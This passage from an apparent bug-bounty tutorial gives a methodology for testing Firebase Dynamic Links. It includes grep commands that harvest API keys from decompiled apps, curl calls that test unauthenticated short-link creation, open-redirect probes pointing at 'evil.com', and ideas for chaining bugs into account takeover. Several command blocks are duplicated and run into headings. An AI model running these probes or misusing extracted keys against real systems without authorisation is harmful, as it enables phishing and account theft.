# 2. Find API keys
grep -r "AIzaSy" target_decoded/
grep -r "firebase" target_decoded/
# In JS bundles: search for firebaseConfig, apiKey
# 3. Find FDL usage in code
grep -r "dynamicLink" target_decoded/
grep -r "page.link" target_decoded/
grep -r "FirebaseDynamicLinks" target_decoded/
grep -r "firebase/dynamic-links" target_decoded/Phase 2: API Mapping (20 minutes)
bash
# 4. Test FDL REST API
API_KEY="found_key"
PROJECT="found_project"
curl -s "https://firebasedynamiclinks.googleapis.com/v1/$PROJECT/shortLinks?key=$API_KEY" \
-X POST -H "Content-Type: application/json" \
-d '{"dynamicLinkInfo":{"domainUriPrefix":"https://target.page.link","link":"https://example.com"}}'
# Check response for:
# - 200: Unauthenticated API creation (CRITICAL)
# - 401/403: Auth required (normal, but test with different keys)
# - 404: Wrong project ID# 4. Test FDL REST API
API_KEY="found_key"
PROJECT="found_project"
curl -s "https://firebasedynamiclinks.googleapis.com/v1/$PROJECT/shortLinks?key=$API_KEY" \
-X POST -H "Content-Type: application/json" \
-d '{"dynamicLinkInfo":{"domainUriPrefix":"https://target.page.link","link":"https://example.com"}}'
# Check response for:
# - 200: Unauthenticated API creation (CRITICAL)
# - 401/403: Auth required (normal, but test with different keys)
# - 404: Wrong project IDPhase 3: Client-Side Testing (30 minutes)
bash
# 5. Test open redirect variations
curl -sI "https://target.page.link/?ofl=https://evil.com"
curl -sI "https://target.page.link/?link=https://evil.com"
# 6. Test with different user agents
curl -sI "https://target.page.link/abc123" \
-A "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36"
curl -sI "https://target.page.link/abc123" \
-A "Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/537.36"
# 7. Check assetlinks.json and AASA
curl -s https://target.page.link/.well-known/assetlinks.json
curl -s https://target.page.link/apple-app-site-associatio# 5. Test open redirect variations
curl -sI "https://target.page.link/?ofl=https://evil.com"
curl -sI "https://target.page.link/?link=https://evil.com"
# 6. Test with different user agents
curl -sI "https://target.page.link/abc123" \
-A "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36"
curl -sI "https://target.page.link/abc123" \
-A "Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/537.36"
# 7. Check assetlinks.json and AASA
curl -s https://target.page.link/.well-known/assetlinks.json
curl -s https://target.page.link/apple-app-site-associatioPhase 4: Deep Exploitation (variable)
- Fuzz all FDL parameters — 30+ parameters, most apps only handle 3–4
- Test deep link routing — decompile the app and map every route
- Chain bugs — open redirect + token leakage = account takeover
- Test on real devices — behavior differs between iOS and Android
- Check link preview behavior — send FDLs to iMessage, WhatsApp, Slack
Phase 5: Documentation and Reporting
For every bug, document:
- The exact FDL URL that triggers it
- The expected vs. actual behavior
- The impact on real users
- A video PoC (screenshots are not enough for deep link bugs)
Why This Still Works in 2026
Google deprecated FDL in August 2025 with a shutdown planned for 2026. But here is the reality:
- Migration is hard. Moving from FDL to Firebase App Links or custom solutions requires updating the Android app, iOS app, all server-side link generation, email templates, marketing campaigns, and DNS — each with review cycles and coordination overhead.
- Teams do not prioritize it. FDL still works. The app still opens. Why break what is not visibly broken?
- The deprecation made it worse. When Google announced deprecation, security teams stopped reviewing FDL implementations ("it is going away anyway") while the links stayed live.
- Legacy systems. Many apps have FDL URLs hardcoded in old push notification templates, email sequences that have not been updated in years, third-party CRM/marketing integrations, and QR codes printed on physical materials.
- Custom domains persist. Even if the
page.linklinks die, custom FDL domains (go.company.com) may be kept alive through other mechanisms.
Final Thoughts
Firebase Dynamic Links are a bug bounty hunter's dream because they sit at the intersection of:
- Web security (open redirect, XSS, CSRF)
- Mobile security (deep link hijacking, app link bypass)
- Infrastructure security (subdomain takeover, SSRF)
- Authentication security (token theft, auth bypass)
Most developers treat FDL as "just a URL shortener" and do not realize they are introducing 15+ potential vulnerabilities with every link they create.
The methodology is simple: Find the FDL domain, extract the API key, test every parameter, chain the bugs, and document the impact. Most targets have at least 3–5 of these bugs. The bounties add up fast.
Now go hunt. And when you find these bugs, remember: the companies that are still using FDL in 2026 are the same companies that have not done a proper security review of their deep linking infrastructure. There is almost certainly more to find.
If you found this valuable, follow me for more deep-dive bug bounty content. I write about real, exploitable bugs — not theory.
Happy hunting. 🔥